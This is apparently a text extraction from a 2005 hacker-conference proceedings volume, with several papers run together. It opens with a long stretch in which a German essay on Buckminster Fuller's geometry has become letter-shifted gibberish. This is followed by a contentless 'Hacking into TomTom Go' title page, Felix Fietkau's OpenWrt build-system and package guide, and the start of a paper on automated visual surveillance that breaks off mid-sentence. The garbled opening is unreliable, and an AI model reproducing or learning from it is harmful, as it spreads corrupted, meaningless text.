.XJHOQ LQ GHQ TXDGUDWLVFKHQ 6HLWHQ GHV .XERNWDHGHUV GLH NHLQH KH[DJRQDOHVRQGHUQHLQHNXELVFKHLVWYHUUXWVFKWKLQ]XUKH[DJRQDOHQ3DFNXQJ'LH$Q]DKOGHU.XJHOQ SUR6HLWHEOHLEWJOHLFK (EHQVR ZHQGHW HU VLFK GHP 9HUKDOWHQ YRQ Å3HUOHQ DQ HLQHU .HWWH´ ]X ZREHL GLH 3HUOHQ EHL LKP VWDEI|UPLJH 5RKUH VLQG 'LH HLQ]LJH VWDELOH .RQILJXUDWLRQ GLHVHU 5RKUH LQ GHU (EHQH LVW GDV 'UHLHFN ² MHGHVDQGHUH3RO\JRQOlVVWVLFKGXUFK0RGXODWLRQGHU:LQNHO]XHLQHP'UHLHFNYHUIRUPHQRKQHGDVVGHU 8PIDQJYHUlQGHUWRGHUHLQH6HLWHÄ]HUEURFKHQ·ZHUGHQPVVWH(QWVSUHFKHQGYHUKDOWHQVLFKDXV6WlEHQ PLWEHZHJOLFKHQ(FNHQNRQVWUXLHUWH UHJHOPl‰LJH 3RO\HGHU'LH.RQILJXUDWLRQHQGHUHQ6HLWHQ'UHLHFNH VLQG 7HWUDHGHU 2NWDHGHU ,NRVDHGHU  VLQG VWDELO EHKDOWHQ LKUH )RUP DXFK RKQH lX‰HUH RGHU LQQHUH 8QWHUVWW]XQJEHLGLHEULJHQ .XEXVXQG'RGHNDHGHU NROODELHUHQ,KU.ROODSVNDQQYHUKLQGHUWZHUGHQ ZHQQLKUH6HLWHQLKUHUVHLWVLQ'UHLHFNHDXIJHWHLOWZHUGHQ'LHVHU3UR]HVVGHU$XIWHLOXQJLQ'UHLHFNHLVWEHL )XOOHU SUDNWLVFK HLQH GHU ZLFKWLJVWHQ 2SHUDWLRQHQ EHUKDXSW ZHQQ HV XP GLH .RQVWUXNWLRQ VWDELOHU 6WUXNWXUHQJHKWXQGEHLGHQPHLVWHQVHLQHU%DXWHQ]XHQWGHFNHQ  (LQGLVNRQWLQXLHUOLFKHV8QLYHUVXPDXVYLEULHUHQGHQ7HWUDHGHUQ  :DV VLQG ZLUNOLFK H[LVWLHUHQGH 2EMHNWH" )XOOHU UXIW GLH PRGHUQH :LVVHQVFKDIW LQ GHQ =HXJHQVWDQG GLH QLUJHQGVVRHWZDVZLHÄIHVWH0DWHULH·JHUDGH3XQNWHHEHQH)OlFKHQJHIXQGHQKDEHXQGNRPPW]XGHP 6FKOXVVGDVVGLHDOOJHPHLQH9RUVWHOOXQJYRQIHVWHQ'LQJHQXQGDQGHUHQ.RQWLQXLWlWHQXQDQJHPHVVHQVHL XQG GXUFK GHQ %HJULII GHV (QHUJLHHUHLJQLVVHV ÅHQHUJ\ HYHQW´  VLQQYROO HUVHW]W ZHUGHQ N|QQH (LQHQ 3XQNW IDVVW HU DOV HLQ 7HWUDHGHU YRQ YHUQDFKOlVVLJEDUHU +|KH XQG %DVLV DXI $OOH SK\VLNDOLVFKHQ /LQLHQ HQWSXSSWHQ VLFK EHL QlKHUHU %HWUDFKWXQJ DOV JHZHOOW RGHU IUDJPHQWLHUW DEHU HV JlEH .UlIWH XQG GLHVH N|QQWHQ PLW 9HNWRUHQ GDUJHVWHOOW ZHUGHQ 'LHVH VHLHQ 7HWUDHGHU PLW YHUQDFKOlVVLJEDUHU %DVLV DEHU VLJQLILNDQWHU+|KH$EHUHVLVWQLFKWVRGDVV)XOOHUKLHUGXUFKGLH+LQWHUWUZLHGHUJHUDGH/LQLHQHLQIKUW (UEHVWHKWGDUDXIGDVVSRWHQWLHOOHÄJHUDGH·%H]LHKXQJHQVRIRUWLJH:LUNXQJE]Z(UHLJQLVVHLQÄ1LFKW=HLW· HUIRUGHUQZUGHQXQGGHVKDOE]XPLQGHVWQLFKWÄYRUIKUEDU·VHLHQ6LFKZLHGHUDQGLH$QVFKDXXQJKDOWHQG N|QQHQIU)XOOHUNHLQH]ZHLÄ/LQLHQ·RGHU9HNWRUHQ]XUVHOEHQ=HLWGXUFKGHQVHOEHQ3XQNWJHKHQ6HLQH 9HNWRUHQVFKQHLGHQVLFKQLFKWVLHQlKHUQVLFKQXUDQXQGHQWIHUQHQVLFKZLHGHUYRQHLQDQGHU(LQH)OlFKH  ÃYHFWRUHTXLOLEULXP¶LP(QJOLVFKHQ 187 | VHLHLQ7HWUDHGHUPLWYHUQDFKOlVVLJEDUHU+|KHDEHUHLQHU%DVLVYRQVLJQLILNDQWHP$XVPD‰'D3RO\HGHU YRQ LKP LPPHU DOV *HUVW JHGDFKW ZHUGHQ VSULFKW HU YRQ GHQ 6HLWHQ GHU 3RO\HGHU ZLH DOOJHPHLQ YRQ HEHQHQ)OlFKHQDOVÄgIIQXQJHQ·2EHUIOlFKHQPVVWHQVWDWWDOVNRQWLQXLHUOLFKHV(WZDVRKQH'LFNHDOVHLQ GXUFKHLQIHLQHV1HW]ZHUNYRQNOHLQHQ9HNWRUHQYHUEXQGHQHV*HIOHFKWYRQ(QHUJLHHUHLJQLVVHQEHJULIIHQ ZHUGHQXQGVLQGGDPLWQLFKWPHKUÄHEHQ· 'LH HQWVFKHLGHQGH (LJHQVFKDIW GLH EHVWLPPW RE ZLU HWZDV DOV .RQWLQXLWlW RGHU DOV HLQGHXWLJ VHSDUDW ZDKUQHKPHQ ZLH ]% 3ODQHWHQ LP *HJHQVDW] ]X $WRPHQ  VHL GLH)UHTXHQ] :HQQ GLH )UHTXHQ] HLQHV *HIOHFKWVVRKRFKZLUGGDVVVLHVLFKXQVHUHU:DKUQHKPXQJHQW]LHKWQHKPHQZLUHVDOV.RQWLQXLWlWZDKU ZLUG VLH VR JHULQJ E]Z GLH $EVWlQGH VR JUR‰ GDVV VLFK LKUH :LHGHUKROXQJ XQVHUHU :DKUQHKPXQJ HQW]LHKWQHKPHQZLUDXFK]XVDPPHQKlQJHQGH(UHLJQLVVHDOVVHSDUDWZDKU*U|‰HZLUGDOV)UHTXHQ]LQ %H]XJDXIHLQHVSH]LILVFKH9HUJOHLFKVJU|‰HDXVJHGUFNW  'DV.RRUGLQDWHQV\VWHPGHU1DWXULVWQLFKWUHFKWZLQNOLJ"  )XOOHUJHKWHVQLFKWQXUXPHLQHÄSUDNWLVFKH·*HRPHWULHHUYHUVXFKWGHU1DWXUVHOEVWDXIGLH6FKOLFKH]X NRPPHQ 7URW] GHV Y|OOLJ DQGHUHQ $QVDW]HV JLEW HV 3DUDOOHOHQ ]X 3ODWRQ XQG .HSOHU ZLH VLH LVW HU IDV]LQLHUW YRQ GHU 9RUVWHOOXQJ GDVVVLFK GLH %H]LHKXQJHQ YHUVFKLHGHQHU%HVWDQGWHLOH GHV 8QLYHUVXPV LQ KDUPRQLVFKHQ 9HUKlOWQLVVHQ DXVGUFNHQ ODVVHQ MD GDVV GHP *DQ]HQ HLQH KDUPRQLVFKH 2UGQXQJ LQQHZRKQW $XV EHNDQQWHQ ([SHULPHQWHQ ]LHKW )XOOHU HLJHQH 6FKOVVH 'DYRQ DXVJHKHQG GDVV VLFK GLH QDWUOLFKHQ EHOHEWHQ XQG XQEHOHEWHQ 6WUXNWXUHQ DXI LQ K|FKVWHP0D‰H HIIHNWLYH$UW XQG :HLVH ELOGHQ GK VR GDVV ]X LKUHU $XIUHFKWHUKDOWXQJ QXU HLQ DE 0LQLPXP DQ (QHUJLH QRWZHQGLJ LVW HUKHEW HU GDV 7HWUDHGHUQDFKLKPGLH)RUPGLHPLWPLQLPDOHP$XIZDQGHLQ0D[LPXPDQ6WDELOLWlWEHVLW]W]XGHP ]HQWUDOHQ %DXVWHLQ GHV 8QLYHUVXPV 'HV ZHLWHUHQ DQQHKPHQG GDVV GHU 5DXP DQ VLFK NHLQH IRUPORVH /HHUHVHLLQGHUDOOHVP|JOLFKLVWPDFKWHUVLFKDXIGLH6XFKHQDFKGHPÅ.RRUGLQDWHQV\VWHPGHU1DWXU´ (GPRQVRQ VFKUHLEW GD]X Å'DV Ä.RRUGLQDWHQV\VWHP GHU 1DWXU· LVW DOVR HLQH *HRPHWULH YRQ |NRQRPLVFKVWHQ%H]LHKXQJHQ´ 'LH %HGLQJXQJHQ GLH GLHVHV .RRUGLQDWHQV\VWHP HUIOOHQ PVVWH VFKHLQHQ )XOOHU NODU EHVWHKHQG DXV HLQHP LQ DOOH 5LFKWXQJHQ JOHLFKHQ DOVR V\PPHWULVFKHQ 0XVWHU DXV JOHLFK ODQJHQ 9HNWRUHQ ZHOFKH  GLH EHUDOOJOHLFKVWDUNHQ.UlIWHUHSUlVHQWLHUHQ'LHVH9HNWRUHQWUHIIHQDOOHLPJOHLFKHQ:LQNHODXIHLQDQGHU XQG EHILQGHQ VLFK DXI GLHVH :HLVH LQ HLQHP *OHLFKJHZLFKW )XOOHUV hEHUOHJXQJHQ IKUHQ LKQ ]X HLQH 6WUXNWXUEHVWHKHQGDXVHLQHP*LWWHUVLFKMHZHLOVDQLKUHQTXDGUDWLVFKHQ6HLWHQEHUKUHQGHU.XERNWDHGHU PLW RNWDHGHUI|UPLJHQ =ZLVFKHQUlXPHQ 9HUELQGHW PDQ EHL GHU XQHQGOLFKHQ HQJVWHQ .XJHOSDFNXQJ ZLHGHU GLH .XJHOPLWWHOSXQNWH DQJUHQ]HQGHU .XJHOQ PLW 9HNWRUHQ XQG OlVVW GLH .XJHOQ VHOEVW DQVFKOLH‰HQGZHJHUKlOWPDQGDVVHOEH*LWWHU(LQHUVHLQHUDXIIDOOHQGVWHQ8QWHUVFKLHGH]XPNDUWHVLVFKHQ .RRUGLQDWHQV\VWHP LVW GLH $EZHVHQKHLW YRQ UHFKWHQ :LQNHOQ KLHU VLQG DOOH YRUNRPPHQGHQ :LQNHO  $P\&(GPRQVRQ$)XOOHU([SODQDWLRQ±7KH6\QHUJHWLF*HRPHWU\RI5%XFNPLQVWHU)XOOHUKHUDXVJHJHEHQ YRQ$UWKXU//RHE%RVWRQ±%DVHO±6WXWWJDUW6 | 188 GEOMETRIE OHNE PUNKTE, GERADEN & EBENEN HLQIDFKH 9LHOIDFKH YRQ ƒ (LQH $QRUGQXQJ YRQ 9HUVWUHEXQJHQ QDFK GLHVHP 0XVWHU HU]LHOWVRZRKO LQ )RUPHLQHV0DVWHVDOVDXFKLQGHU(EHQH]%DOV*HUVWHLQHU7UDJIOlFKHHLQKRKHV0D‰DQ6WDELOLWlW (U VFKUHLEW VHLQH DXI GLHVHP H[SHULPHQWHOOHQ :HJH HU]HXJWH 0DWKHPDWLN ]HLJH ZLH PDQ ÄRPQLUDWLRQDO· HQHUJHWLVFKDULWKPHWLVFKJHRPHWULVFKFKHPLVFKVWHUHRPHWULVFKNULVWDOORJUDILVFKLQ%H]XJDXI9HNWRUHQ WRSRORJLVFKXQGLQ%H]XJDXI(QHUJLHTXDQWHQLQ%HJULIIHQGHV7HWUDHGHUVPHVVHQXQGEHUHFKQHQN|QQH Ä2PQLUDWLRQDO· LVW HLQ %HJULII GHQ HU VHKU KlXILJ YHUZHQGHW LQ LKP VSLHJHOW VLFK VHLQH DXVJHVSURFKHQH $EQHLJXQJJHJHQLUUDWLRQDOH=DKOHQXQGGHU8PVWDQGGDVVVLHLQVHLQHP6\VWHPNDXPHLQHZLFKWLJH5ROOH VSLHOHQÄ(QHUJHWLVFK·LVWLQVHLQHU7HUPLQRORJLHGHU*HJHQVDW]]XÄV\QHUJHWLVFK·GDV*DQ]HEHWUHIIHQG EHGHXWHWDOVRVRYLHOZLHÄGHQ(LQ]HOIDOO·ÄGHQNRQNUHWHQ)DOO·EHWUHIIHQG  'HU 8PVWDQG GDVV GLHVH $XIIDVVXQJHQ VWDUN YRQ GHQ JHJHQZlUWLJ DQHUNDQQWHQ 3RVLWLRQHQ EHU GDV :HVHQ GHU *HRPHWULH XQG LKUHQ =XVDPPHQKDQJ PLW GHU SK\VLNDOLVFKHQ :HOW DEZHLFKHQ VDJW ZHGHU HWZDV EHU  LKUHQ :DKUKHLWVJHKDOW QRFK EHU LKUH ORJLVFKH .RKlUHQ] $OOHUGLQJV LVW HEHQ JHUDGH ZHJHQ GLHVHUVWDUNHQ$EZHLFKXQJHLQHZLUNOLFKJUQGOLFKH3UIXQJELVKHUDXVJHEOLHEHQ(VEOHLEHQYRUDOOHPGLH YLHOHQ JHRGlWLVFKHQ 'RPH GLH EHU GLH :HOW YHUVWUHXW VLQG XQG IU GDV LKQHQ ]XJUXQGH OLHJHQGH *HGDQNHQJHElXGH=HXJQLVDEOHJHQ   (LQHZHVHQWOLFKOlQJHUH)DVVXQJGLHVHV7H[WHVPLWDXVIKUOLFKHQ)X‰QRWHQHWFILQGHWVLFKXQWHU KWWSZZZIDUEHQJDUWHQFRPVFUXSHGDV\PPHWULHBXQGBRUGQXQJSGI  )XOOHU$SSOHZKLWH† 6RYHUPHLGHWHU3L]%LQGHPHUPLW'HPRNULWGDULQEHUHLQVWLPPWGDVVHVNHLQHQSHUIHNWHQ.UHLVÃLQGHU :LUNOLFKNHLW¶JLEWVRQGHUQQXU3RO\JRQHPLWVHKUNOHLQHQ6HLWHQE]ZVHKUKRKHU)UHTXHQ]GLHPDQLKUHUVHLWV QDWUOLFKZLHGHUDOVDXV'UHLHFNHQ]XVDPPHQJHVHW]WEHWUDFKWHQNDQQ  189 | Hacking into TomTom Go Reverse-Engineering des Embedded-LinuxNavigationssystems "TomTom Go" Christian Daniel, Thomas Kleffel 191 | | 192 HACKING INTO TOMTOM GO 193 | | 194 HACKING INTO TOMTOM GO 195 | | 196 HACKING INTO TOMTOM GO 197 | Hacking OpenWRT Felix Fietkau 199 | OpenWrt Hacking Felix Fietkau December 6, 2005 Contents 1 Introduction to OpenWrt 2 2 Developer Tools 2.1 Software Development Kit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.2 Image Builder . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 2 3 3 Creating an OpenWrt Package Directory 3.1 Config.in . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.2 Makefile . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.3 ipkg/ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.4 files/ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.5 patches/ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.6 Kernel Module Packages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 3 4 6 6 6 7 4 Structure of the Buildroot 4.1 Build Directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.2 toolchain/ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.3 package/ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.4 target/ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 7 8 8 9 5 Additional Resources 11 1 | 200 HACKING OPENWRT 1 Introduction to OpenWrt OpenWrt is a Linux distribution for wireless routers. Instead of trying to cram every possible feature into one firmware, OpenWrt provides only a minimal firmware with support for addon packages. For users this means the ability to custom tune features, removing unwanted packages to make room for other packages and for developers this means being able to focus on packages without having to test and release an entire firmware. OpenWrt started as a replacement firmware for the Linksys WRT54G and compatible (Broadcom BCM947xx), but currently it is being ported to other (entirely different) platforms. In this article I want to give you an overview over using OpenWrt as a development platform, by introducing the developer tools, the package porting process and by giving a short description of the way in which the build system works. 2 Developer Tools In order to make it easy for developers to get involved with using OpenWrt as a platform, we provide two developer packages, which are generated directly out of the build system: 2.1 Software Development Kit The first developer tool is the Software Development Kit (SDK). It is a stripped-down version of the OpenWrt build system, which can build packages using the same package directory format as the full Buildroot. You can use it to maintain custom packages outside of the actual source tree, even for several different versions of OpenWrt. The SDK contains precompiled versions of the complete toolchain and all libraries that provide development files for other packages. To use it, you can either build it yourself (by downloading the OpenWrt source and selecting it in the menuconfig system), or download it from the official download location: http://downloads.openwrt.org/whiterussian/rc4/OpenWrt-SDK-Linux-i686-1.tar.bz2 If you want to compile packages with it, just unpack it and put your package directory inside the package/ subdirectory of the SDK, then run make. If you plan on building several packages, which depend on one another, you should set the depenencies in package/depend.mk. The format is the same as the dependency format in the Buildroot: package1-compile: package2-compile The above makes the compile step of package2 depend on the successful build of package1. 2 201 | 2.2 Image Builder The second developer tool is the Image Builder. It was designed for generating multiple firmware images from package lists and packages, without having to compile anything during the image building process. That makes it easy to maintain custom firmware builds with a specific feature set (wireless hotspot, mesh node, etc.), while staying current with the official OpenWrt releases. You can customize any part of the filesystem used in the images, either by adding or replacing packages (in the package directory or the package lists), or by adding some additional (unpackaged) files to the root filesystem. 3 Creating an OpenWrt Package Directory 3.1 Config.in This file defines the configuration options of your package for the menuconfig system. It is required, if you want to integrate your package into the OpenWrt Buildroot. The syntax is the same as the kernel config syntax of the Linux 2.6 kernel. Example: 1 2 3 4 5 6 7 config BR2_PACKAGE_STRACE tristate "strace - System call tracer" default m if CONFIG_DEVEL help A useful diagnostic, instructional, and debugging tool. Allows you to track what system calls a program makes while it is running. 8 9 http://sourceforge.net/projects/strace/ Line 1 Line 2 Line 3 Lines 4-9 declares the config option for the strace package. Configuration options for packages always start with BR2 PACKAGE , because the package template of the common build system code will assume that it is set this way. defines the prompt of the config option. tristate means that the package can either be integrated into the firmware or only compiled as a package. will make sure that the package is enabled by default in developer (and release) builds. define the help text for the current config option. If you build multiple packages from the same source, you can add an extra config option for each of the additional packages in the same Config.in file 3 | 202 HACKING OPENWRT 3.2 Makefile This file contains all instructions that are necessary for cross-compiling your package. It is a normal makefile except for the fact that it uses a lot of shared code from the build system. Example: 1 include $(TOPDIR)/rules.mk 2 3 4 5 6 PKG_NAME:=strace PKG_VERSION:=4.5.11 PKG_RELEASE:=1 PKG_MD5SUM:=28335e15c83456a3db055a0a0efcb4fe 7 8 9 10 PKG_SOURCE_URL:=@SF/strace PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.bz2 PKG_CAT:=bzcat 11 12 PKG_BUILD_DIR:=$(BUILD_DIR)/$(PKG_NAME)-$(PKG_VERSION) 13 14 include $(TOPDIR)/package/rules.mk 15 16 $(eval $(call PKG_template,STRACE,strace,$(PKG_VERSION)-$(PKG_RELEASE),$(ARCH))) 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 $(PKG_BUILD_DIR)/.configured: (cd $(PKG_BUILD_DIR); rm -rf config.cache; \ $(TARGET_CONFIGURE_OPTS) \ CFLAGS="$(TARGET_CFLAGS)" \ CPPFLAGS="-I$(STAGING_DIR)/usr/include" \ LDFLAGS="-L$(STAGING_DIR)/usr/lib" \ ./configure \ --target=$(GNU_TARGET_NAME) \ --host=$(GNU_TARGET_NAME) \ --build=$(GNU_HOST_NAME) \ --program-prefix="" \ --program-suffix="" \ --prefix=/usr \ --exec-prefix=/usr \ --bindir=/usr/bin \ --datadir=/usr/share \ --includedir=/usr/include \ --infodir=/usr/share/info \ --libdir=/usr/lib \ --libexecdir=/usr/lib \ --localstatedir=/var \ 4 203 | --mandir=/usr/share/man \ --sbindir=/usr/sbin \ --sysconfdir=/etc \ $(DISABLE_NLS) \ $(DISABLE_LARGEFILE) \ 39 40 41 42 43 ); touch $@ 44 45 46 47 48 49 50 $(PKG_BUILD_DIR)/.built: $(MAKE) -C $(PKG_BUILD_DIR) \ CC=$(TARGET_CC) touch $@ 51 52 53 54 55 56 $(IPKG_STRACE): mkdir -p $(IDIR_STRACE)/usr/sbin cp $(PKG_BUILD_DIR)/$(PKG_NAME) $(IDIR_STRACE)/usr/sbin/ $(STRIP) $(IDIR_STRACE)/usr/sbin/* $(IPKG_BUILD) $(IDIR_STRACE) $(PACKAGE_DIR) 57 58 59 60 mostlyclean: $(MAKE) -C $(PKG_BUILD_DIR) clean rm -f $(PKG_BUILD_DIR)/.built Line 1 Lines 3-12 Line 14 Line 16 Lines 18-45 Lines 47-50 Lines 52-56 Lines 58-60 includes the general shared makefile, which contains most of the commonly used variables, like $(STAGING DIR). contain some information on the package, its name, source download location, etc. If you’re not using the source download rules, you can omit the variables PKG MD5SUM, PKG SOURCE URL, PKG SOURCE and PKG CAT. You will have to add a $(PKG BUILD DIR)/.prepared: rule (similar to .configured) in this case. includes some common rules for building packages. activates the rules for building binary packages. It must be inserted for every single binary package that you build from the source. define the target for configuring the package. You may omit the ./configure command for packages that don’t have a configure script, but you should always include the touch $@ command to avoid unnecessary rebuilds. define the target for compiling the source package. This does not include any ipkg package building yet. It should only run the makefile of your source package (or whatever is necessary to compile the software). define the target for building a binary package. You start by creating the directory structure in $(IDIR NAME ) and copying all files in there. At the end you can run the build command like in line 56 to generate the package. define the optional mostlyclean target, which is used for deleting binary files from the package source directory, while leaving the sources intact. For most packages it’s enough to just call the make clean target. 5 | 204 HACKING OPENWRT If your package is a library, you may want to install the development files into the staging directory: 1 2 3 compile-targets: install-dev install-dev: # install the development files into the staging dir 4 5 6 7 clean-targets: uninstall-dev uninstall-dev: # remove the development files from the staging dir 3.3 ipkg/ This directory contains all ipkg control files (package description and install/remove scripts). The filename is always "pkgname.type ", for example: strace.control. You don’t need to specify these files anywhere in your makefile, as they will be automatically added to the package at build time. 3.4 files/ This optional directory may contain extra files that you either need for compiling the package or that you want to add at a later time. It has no specific structure, but you should consider using a flat hierarchy for a small number of files. 3.5 patches/ This optional directory contains patches against the original source files. All patches should have the right format so that they can be applied with patch -p1 from the source directory, e.g. strace-4.5.11/. Your patches can be in a compressed form, but this is not recommended if you plan on putting them under version control (CVS, SVN, etc.). You don’t have to add any commands to your makefile to apply these patches. If this directory exists, then the build system will automatically apply all the patches that it contains, just after unpacking the source file. 6 205 | 3.6 Kernel Module Packages Kernel package directories are structurally similar to normal package directories, but with some differences: • You should construct the package version number like this: $(LINUX_VERSION)+$(PKG_VERSION)-$(BOARD)-$(PKG_RELEASE) • You can access the path to the kernel directory through the $(KERNEL DIR) variable • The kernel modules should be installed into $(IDIR )/lib/modules/$(LINUX VERSION) 4 Structure of the Buildroot When you run make on the OpenWrt build system, it will run the individual build system targets in the following order: • toolchain/install builds the toolchain and installs it into the staging directory • target/compile builds the linux kernel and adds the build /linux symlink, then compiles the kernel modules • package/compile builds all selected packages (and installs development libraries into the staging directory) • target/install installs all packages, installs the kernel modules, then uses the generated root filesystem directory and the kernel image to build the firmware 4.1 Build Directories During the build, the following directories will be created: • dl/ contains all downloaded source files • toolchain build / contains the build directories of the toolchain packages (kernel headers, uClibc, binutils, gcc, gdb) • staging dir / contains the installed toolchain, development versions of the libraries and all utilities that are needed for the compile or image building process. • build contains the build directories of the ordinary packages. 7 | 206 HACKING OPENWRT 4.2 toolchain/ toolchain/ contains all the instructions for creating a full toolchain for cross-compiling OpenWrt. In order to build the toolchain, the build system will first extract the kernel headers, then the uClibc source. The uClibc source directory is necessary for building gcc. Then it will build and install binutils, and later generate the initial gcc, which is only used to build the uClibc. With uClibc fully built, it can now generate the final gcc, which supports dynamic linking and targets the uClibc. As a last, optional step it can generate the gdb for cross-debugging. 4.3 package/ package/ contains all the code for building normal (not kernel-specific) packages. package/Makefile uses the menuconfig variables to determine which subdirectories it should call. A line to translate a menuconfig line into a package directory name looks like this: package-$(BR2_PACKAGE_STRACE) += strace For every package that you add to the Buildroot, you need to add such a line to package/Makefile. Dependencies are entered like this: dropbear-compile: zlib-compile Of the targets that a package makefile provides, only -prepare, -compile and -install are used. • -prepare unpacks and patches the software • -compile builds the software and installs the development files (if it’s a library) • -install installs the software For a -compile call, -prepare is called first though a dependency. Same with -install and -compile. Stamp files are created for -prepare and -compile to avoid unnecessary rebuilds. You can call package building targets from the top level directory by running: make package/ - 8 207 | This will run the make target in the package directory package/ For example, if you want to clean the strace package (so that it will be rebuilt on the next make run), you just run make package/strace-clean 4.4 target/ target/ contains all the kernel/target specific build system code and the actual image generating part. Most of the code is in target/linux. The important make directories and targets are called in this order (target/linux-compile means run the target linux-compile in target/): • target/linux/image-compile compiles the filesystem utilities • target/linux-compile • target/linux/linux-2.X /compile (called from target/linux-compile) builds the linux kernel • target/linux/image-install (called from target/linux/linux-2.X /compile) builds the platform-specific image building tools and creates the firmware images The target/linux- make target can be called from the top level makefile directly. This is useful to clean the whole linux kernel directory (if you’ve changed the config or the patches), by running: make target/linux-clean The Linux kernel will then be recompiled on the next make run. 9 | 208 HACKING OPENWRT To add a new platform to the build process (OpenWrt ’Kamikaze’ 2.0 only), you need to follow these steps: • create a menuconfig entry for it in target/linux/Config.in Example: 1 2 3 4 5 6 config BR2_LINUX_2_4_AR7 bool "Support for TI AR7 based devices [2.4]" default n depends BR2_mipsel help Build firmware images for TI AR7 based routers (w.g. Linksys WAG54G v2) • activate the platform in target/linux/Makefile Example: $(eval $(call kernel_template,2.4,ar7,2_4_AR7)) • add kernel patches for the platform in target/linux/linux-2.X /patches/ / • copy a default kernel config to target/linux/linux-2.X /config/ You can also add additional module packages from the kernel tree to the kernel build process by adding a menuconfig option to and changing target/linux/linux-2.X /Makefile. Sample menuconfig option: config BR2_PACKAGE_KMOD_USB_STORAGE prompt "kmod-usb-storage.................. Support for USB storage devices" tristate default m depends BR2_PACKAGE_KMOD_USB_CONTROLLER Sample makefile line (for Linux 2.4): $(eval $(call KMOD_template,USB_STORAGE,usb-storage,\ $(MODULES_DIR)/kernel/drivers/scsi/*.o \ $(MODULES_DIR)/kernel/drivers/usb/storage/*.o \ ,CONFIG_USB_STORAGE,kmod-usb-core,60,scsi_mod sd_mod usb-storage)) 10 209 | The first two parameters in Line 1 are just like the parameters for PKG template in package makefiles. Line 2-3 define all object files that are to be copied into the module directory. The last line defines dependencies and module loading options: • CONFIG USB STORAGE is the Linux kernel config option that this package depends on • kmod-usb-core is the name of an OpenWrt package that this kernel package depends on • 60 is the prefix for the module autoload file in /etc/modules.d/, which determines the module load order • scsi mod sd mod usb-storage are names of module files that are to be loaded in /etc/modules.d/ - 5 Additional Resources OpenWrt Homepage: OpenWrt Wiki: OpenWrt Documentation: OpenWrt Forum: OpenWrt Project management: OpenWrt IRC: http://openwrt.org http://wiki.openwrt.org http://wiki.openwrt.org/OpenWrtDocs http://forum.openwrt.org http://dev.openwrt.org #openwrt@irc.freenode.net 11 | 210 Hopalong Casualty On automated video analysis of human behaviour Ingo Lütkebohle 211 | Capabilities and Limitations of Visual Surveillance Ingo Lütkebohle iluetkeb@techfak.uni-bielefeld.de Faculty of Technology, Applied Computer Science Bielefeld University, P.O. Box 100131, 33501 Bielefeld, Germany 1 Introduction Surveillance cameras have become widespread: Public places, shopping centers, offices, transportation, and the list could go on. Increasingly, the sheer volume of data requires automated analysis. This poses serious questions: Surveillance is touted as a tool against crime but does it really work? On the other hand, it is feared that we might wake up in a world where our every step is being monitored and scrutinized. How close are we to 1984s Big Brother? Of course, no definite answers will be forthcoming. However, a review of the technology that drives automated surveillance systems may shed some light on what it can and cannot do. The technology has been making great strides in recent years but quite a few problems have only been sidestepped. Sometimes, these problems are very revealing, hinting at fundamentally hard problems. To start this off, some general remarks on the workings of visual observation are provided in the remainder of this section. Part 2 will review methods of automated visual surveillance, from feature extraction to recognition and discuss capabilities and limitations throughout. The conclusion in 3 delivers a high-level view of capabilities and limitations. Marvin Minsky once stated that “In general, we’re least aware of what our minds do best” [13], referring to the fact that many of the things humans consider ’easy’ just appear that way because we learned them so well. Their full complexity becomes evident, however, when trying to build automated systems. Visual observation is such a task: We can effortlessly tell what other persons are doing just from looking at it, right? Well, not quite, but even where that is true, automated systems are still far from being able to do the same and its not from lack of trying by the designers! Furthermore, Minskys statement has a second part to it: We often don’t know how we accomplish the “simple” things. For instance, and contrary to common belief, our powers of visual observation may not be learned from visual experience alone. Recently, a number of psychological findings suggest that the motor experience we have from our own body is at least as, if not more, important (e.g., compare [10, 2]). Therefore, purely visual analysis may not be enough and external knowledge will still be necessary. As such knowledge comes from human designers, it is a crucial limiting factor to the capabilities of an automated system. | 212 HOPALONG CASUALTY 2 Intro to Visual Analysis 2.1 Overview In the most basic view, visual analysis starts with a camera and ends with action recognition. On closer look, it rapidly starts to become complicated and thick books have been written on just small parts of the problem. One of the most current, accessible and self-contained textbooks is “Computer Vision: A Modern Approach” by D.A. Forsyth and J. Ponce [8] and I will point out pertinent chapters where appropriate throughout this section. Visual Surveillance Systems Though details vary a lot, most vision systems contain a processing pipeline at their core, as shown in figure 1. The separation is mostly due to different algorithms. walking Digitize Locate Classify Summarize Segment Track Fig. 1. Example of surveillance analysis For a “real-world” system, essential additions to this sketch would include at least some form of storage and retrieval system, multiple camera inputs and algorithm redundancy. Common are active camera control (for pan, zoom and tilt) and feedback mechanisms that can tailor the performance of early-stage algorithms to the current analysis task. The system shown could be an example of the stages for person tracking. The general ideas are simple: First, the object of interest must be located and described. Here, these are two persons and the description is their shape image. This is performed over several frames with data-association (“tracking”), yielding related sets. In this case, two trajectories in time. These are then summarized, depending on the needs of the final algorithm, and classified (by comparison to prior examples), e.g. as “walking” (as opposed to window-gazing or something the like). For each step, many methods and algorithms exist. The remainder of this section will give a short overview and provide some references for further reading. 0 Camshot by Bhikku (postprocessed): http://flickr.com/photos/bhikku/1187679/ Surveillance images from CAVIAR: http://groups.inf.ed.ac.uk/vision/CAVIAR/ 213 | 2.2 Locating Humans As shown in figure 1, the first step is locating the interesting parts in the frame. Surveillance systems are looking for humans, a hard problem because of considerable variability in appearance (shape, color and texture). Temporal Differencing A trivial approach to detect humans is to look for any changes in the image from one frame to the next. When the camera is not moving, temporal differencing is an incredibly easy approach to do so: Take two frames, subtract pixel-by-pixel, apply a threshold, see image to the right... Because of the frame-by-frame approach, it is very adaptive to changes in the environment and another advantage is that it does not make assumptions about the scene. However, it can be problematic that only motion at edges is visible for 